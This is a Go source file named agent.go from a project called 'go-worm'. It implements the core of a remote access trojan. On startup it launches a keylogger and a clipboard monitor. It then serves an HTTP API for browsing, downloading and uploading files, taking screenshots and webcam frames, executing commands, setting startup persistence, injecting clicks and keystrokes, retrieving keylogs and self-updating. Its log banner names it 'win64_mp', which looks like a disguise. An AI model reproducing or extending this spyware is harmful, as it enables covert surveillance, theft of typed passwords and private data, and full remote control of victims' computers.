go-worm/lib/agent/agent.go

package agent

import (
	"context"
	"errors"
	"fmt"
	"net"
	"net/http"
	"os"
	"os/signal"
	"strings"
	"time"

	"tea.chunkbyte.com/kato/go-worm/lib/capture"
	"tea.chunkbyte.com/kato/go-worm/lib/clipmon"
	"tea.chunkbyte.com/kato/go-worm/lib/config"
	"tea.chunkbyte.com/kato/go-worm/lib/files"
	"tea.chunkbyte.com/kato/go-worm/lib/helpers"
	"tea.chunkbyte.com/kato/go-worm/lib/input"
	"tea.chunkbyte.com/kato/go-worm/lib/instance"
	"tea.chunkbyte.com/kato/go-worm/lib/keylog"
)

type Agent struct {
	addr            string
	root            string
	guard           *instance.Guard
	server          *http.Server
	startedAt       time.Time
	stopOnInterrupt bool
}

// Config controls agent startup. Zero values use environment defaults.
type Config struct {
	ListenAddr      string
	Parallel        bool
	StopOnInterrupt bool
}

func New(cfg Config) (*Agent, error) {
	addr := strings.TrimSpace(cfg.ListenAddr)
	if addr == "" {
		addr = config.EnvOr("AGENT_ADDR", config.DefaultAddr)
	}
	a := &Agent{
		addr:            addr,
		startedAt:       time.Now(),
		stopOnInterrupt: cfg.StopOnInterrupt,
	}
	if root := strings.TrimSpace(os.Getenv("AGENT_FILE_ROOT")); root != "" {
		resolved, err := files.CanonicalExistingPath(root)
		if err != nil {
			return nil, fmt.Errorf("invalid AGENT_FILE_ROOT: %w", err)
		}
		a.root = resolved
	}
	if !cfg.Parallel {
		guard, err := instance.Acquire()
		if err != nil {
			return nil, err
		}
		a.guard = guard
	}
	input.EnableDPIAwareness()
	if err := keylog.Start(); err != nil {
		helpers.Log.Printf("keylog start: %v", err)
	}
	if err := clipmon.Start(); err != nil {
		helpers.Log.Printf("clipboard monitor start: %v", err)
	}
	return a, nil
}

func (a *Agent) Close() {
	clipmon.Stop()
	keylog.Stop()
	capture.Stop()
	if a.guard != nil {
		a.guard.Close()
	}
}

func (a *Agent) Serve() error {
	mux := http.NewServeMux()
	mux.HandleFunc("/", a.handleWeb)
	mux.HandleFunc("/health", a.handleHealth)
	mux.HandleFunc("/healthz", a.handleHealth)
	mux.HandleFunc("/openapi", a.handleOpenAPI)
	mux.HandleFunc("/openapi.json", a.handleOpenAPI)
	mux.HandleFunc("/api/v1/status", a.handleStatus)
	mux.HandleFunc("/api/v1/files", a.handleFiles)
	mux.HandleFunc("/api/v1/files/zip", a.handleZipFolder)
	mux.HandleFunc("/api/v1/download", a.handleDownload)
	mux.HandleFunc("/api/v1/upload", a.handleUpload)
	mux.HandleFunc("/api/v1/screenshot", a.handleScreenshot)
	mux.HandleFunc("/api/v1/webcam", a.handleWebcam)
	mux.HandleFunc("/api/v1/webcam/frame", a.handleWebcamFrame)
	mux.HandleFunc("/api/v1/exec", a.handleExec)
	mux.HandleFunc("/api/v1/startup", a.handleStartup)
	mux.HandleFunc("/api/v1/input/click", a.handleClick)
	mux.HandleFunc("/api/v1/input/key", a.handleKey)
	mux.HandleFunc("/api/v1/input/text", a.handleText)
	mux.HandleFunc("/api/v1/keylog", a.handleKeylog)
	mux.HandleFunc("/api/v1/keylog/download", a.handleKeylogDownload)
	mux.HandleFunc("/api/v1/update", a.handleUpdate)

	a.server = &http.Server{
		Addr:              a.addr,
		Handler:           helpers.RecoverHandler(helpers.BasicAuth(mux)),
		ReadHeaderTimeout: 10 * time.Second,
		ReadTimeout:       30 * time.Second,
		WriteTimeout:      150 * time.Second,
		IdleTimeout:       60 * time.Second,
		MaxHeaderBytes:    16 << 10,
	}

	listener, err := net.Listen("tcp", a.addr)
	if err != nil {
		return fmt.Errorf("listen %s: %w", a.addr, err)
	}

	helpers.Log.Printf("win64_mp %s listening on http://%s", config.Version, a.addr)

	if a.stopOnInterrupt {
		ctx, stop := signal.NotifyContext(context.Background(), os.Interrupt)
		defer stop()
		helpers.Go("shutdown", func() {
			<-ctx.Done()
			shutdownCtx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
			defer cancel()
			_ = a.server.Shutdown(shutdownCtx)
		})
	}

	if err := a.server.Serve(listener); err != nil && !errors.Is(err, http.ErrServerClosed) {
		return fmt.Errorf("serve: %w", err)
	}
	return nil
}